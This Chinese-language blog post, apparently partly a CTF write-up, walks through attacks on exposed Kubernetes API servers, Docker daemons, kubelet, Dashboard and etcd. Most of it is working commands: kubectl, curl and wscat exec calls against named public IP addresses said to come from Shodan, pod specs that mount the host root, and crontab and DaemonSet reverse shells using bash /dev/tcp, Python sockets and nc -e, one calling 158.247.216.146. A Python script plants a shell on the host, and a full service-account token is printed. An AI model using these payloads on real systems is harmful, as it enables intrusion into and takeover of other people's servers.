云容器安全初识

API Server未授权访问

利用两个外部的环境:http://34.219.148.35:8080/http://212.193.88.186:8080/

API Server 默认会开启两个端口:80806443
其中 8080 端口无需认证,应该仅用于测试。6443 端口需要认证,且有 TLS 保护。

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous   //使6443 端口允许匿名用户

直接访问 8080 端口会返回可用的 API 列表,如:

{
  "paths": [
    "/api",
    "/api/v1",
    "/apis",
    "/apis/extensions",
    "/apis/extensions/v1beta1",
    "/healthz",
    "/healthz/ping",
    "/logs/",
    "/metrics",
    "/resetMetrics",
    "/swagger-ui/",
    "/swaggerapi/",
    "/ui/",
    "/version"
  ]
}

而直接访问 6443 端口会提示无权限:`User “system:anonymous” cannot get at the cluster scope.

如果安装了dashboard,访问 /ui 会跳转到 dashboard 页面,可以创建、修改、删除容器,查看日志等。

Kubernetes 官方提供了一个命令行工具 kubectl

// 获得所有节点
kubectl -s http://34.219.148.35:8080/ get nodes
// 获得所有容器
kubectl -s http://34.219.148.35:8080/ get pods --all-namespaces=true
// 在 myapp 容器获得一个交互式 shell
kubectl -s http://34.219.148.35:8080/ exec myapp --namespace=default -it -- bash

根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml,将节点的根目录挂载到容器的 /mnt 目录。

apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

然后使用 kubectl 创建容器:

// 由 myapp.yaml 创建容器
kubectl -s http://34.219.148.35:8080/http://34.219.148.35:8080/ create -f myapp.yaml
​
// 等待容器创建完成
// 获得 myapp 的交互式 shell
kubectl -s http://34.219.148.35:8080/ exec myapp --namespace=default -it -- bash
​
// 向 crontab 写入反弹 shell 的定时任务
echo -e "* * * * * root bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab
​
// 也可以用 python 反弹 shell
echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab

image-20220311143128477

如果不需要反弹shell,只需要在docker内执行命令的话

kubectl -s http://34.219.148.35:8080/ exec myapp -it -- ls /etc

以上使用的端口为8080,如果需要使用6443,则需要将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。

使用shodan上的一个环境https://34.209.45.207:6443/。

查看pods:

https://34.209.45.207:6443/api/v1/namespaces/default/pods?limit=500

image-20220311160028406

添加一个pods

https://34.209.45.207:6443/api/v1/namespaces/default/pods

发送一段json数据

{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

image-20220311162415147

执行命令,

https://34.209.45.207:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami

提示错误,对于websocket连接,首先进行http(s)调用,然后是使用HTTP Upgrade标头对websocket的升级请求。

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {
​
  },
  "status": "Failure",
  "message": "Upgrade request required",
  "reason": "BadRequest",
  "code": 400
}

利用wscat,地址:https://github.com/websockets/wscat/archive/refs/tags/3.0.0.zip

较新的版本只支持ws开头的协议,这里换个老点的版本

./wscat -n -c "https://34.209.45.207:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=id"

利用yaml创建反弹shell

前提需要容器逃逸,在控制节点上创建。

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: kube-cache-node1
  namespace: kube-system
spec:
  selector:
    matchLabels:
      app: kube-cache-node1
  template:
    metadata:
      labels:
        app: kube-cache-node1
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: main
        image: bash
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        # reverse shell
        args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

利用容器逃逸后的shell在目标控制节点上将上述内容保存为kiit.yaml并执行:

kubectl apply -f kiit.yaml

Docker Daemon服务暴露至公网

Client上使用命令后,会发送对应的请求到API,也就是Docker Daemon服务。然后docker会去对应的Registry仓库拉取镜像创建容器。

这个服务本地会暴露在unix:///var/run/docker.sock上,如果容器中有权限访问到这个文件,就可以对宿主机的所有容器进行操作。

比如:http://68.183.144.186:2375/

直接访问,或者使用docker访问

docker -H tcp://68.183.144.186:2375 info

查看docker下的镜像

docker -H tcp://68.183.144.186:2375 images

创建容器,利用bash和crontab计划任务向宿主机写入shell:

centos系统挂载路径为 /var/spool/cron/root;ubuntu系统为/var/spool/cron/crontabs/root;

# 查看宿主机可用镜像
docker -H tcp://68.183.144.186:2375 image
​
# 启动刚刚创建的容器并连接
docker -H tcp://51.195.28.76:2375 start ct_id
docker -H tcp://51.195.28.76:2375 exec -it --user root ct_id /bin/bash

image-20220314143117085

使用镜像来创建一个容器

docker -H tcp://68.183.144.186:2375 run -it -v /var/spool/cron/:/var/spool/cron/ dcf4d4bef137 /bin/bash

启动成功后,自动进入了这个容器内

image-20220314143537187

写入反弹shell

root@177ac63fbb2f:/# echo '* * * * * bash -i >& /dev/tcp/158.247.216.146/8899 0>&1' >> /var/spool/cron/root

但是这个容器并没有启动,退出后会发现这个容器也停止了。需要先把这个容器启动运行。

docker -H tcp://68.183.144.186:2375 ps -a
docker -H tcp://68.183.144.186:2375 start 8f351dbd41d7
docker -H tcp://68.183.144.186:2375 exec -it --user root 8f351dbd41d7 /bin/bash

image-20220314151745747

或者使用python来执行,例如

import docker
​
client = docker.DockerClient(base_url='http://192.168.11.160:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.11.1 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

Kubelet 10250端口未授权访问

10250端口是kubelet API的HTTPS端口,该端口对外提供了Pod和Node的相关信息,如果该端口对公网暴露,并且关闭授权,则可能导致攻击。

curl -k https://172.18.0.2:10250/run/{namespace}/{podName}/{appName} -d "cmd=whoami"

或:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1"

Kubernetes Dashboard未授权访问

如果Kubernetes API Server配置了Dashboard,通过路径/ui即可访问,直接访问部署一个docker即可

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - name: busybox
    image: busybox:1.29.2
    command: ["/bin/sh"]
    args: ["-c", "nc attacker 4444 -e /bin/sh"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

k8s serviceaccount token 泄露

由于k8s集群部署的时候默认会在每个pod容器中挂载token文件到
/run/secrets/kubernetes.io/serviceaccount/token

我们可以通过命令行工具 kubectl来对api-server进行操作。

创建一个k8s.yaml配置文件,如下,token处为我们上面拿到的token,server则填写 api-server的地址

apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://10.247.0.1
  name: cluster-name
contexts:
- context:
    cluster: cluster-name
    namespace: test
    user: admin
  name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
  user:
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w

执行以下命令远程连接进入题目的k8s集群,成功通过认证。

kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true

Etcd未授权访问

其默认监听了2379等端口,如果2379端口暴露到公网,可能造成敏感信息泄露。

首先在Kubernetes中可以更改配置/etc/Kubernetes/manifests/etcd.yaml文件的内容,来将2379端口向外暴露

Etcd v2和v3是两套不兼容的API,K8s是用的v3,所以需要先通过环境变量设置API为v3

export ETCDCTL_API=3

列出该目录所有节点的信息
http://152.7.98.135:2379/v2/keys

添加上recursive=true参数,就会递归地列出所有的值
http://152.7.98.135:2379/v2/keys/?recursive=true

http://152.7.98.135:2379/v2/members 集群中各个成员的信息

安装etcdctl,可以使用类似的方式查询API

etcdctl --endpoint=http://[etcd_server_ip]:2379 ls

若存在路径/registry/secrets/default,其中可能包含对集群提升权限的默认服务令牌。

参考文章:

https://xz.aliyun.com/t/4276
https://tttang.com/archive/1389/
https://www.freebuf.com/vuls/196993.html
https://annevi.cn/2020/12/21/%E5%8D%8E%E4%B8%BA%E4%BA%91ctf-cloud%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3%E4%B9%8Bk8s%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98/





# Open Source Security  

tocToc: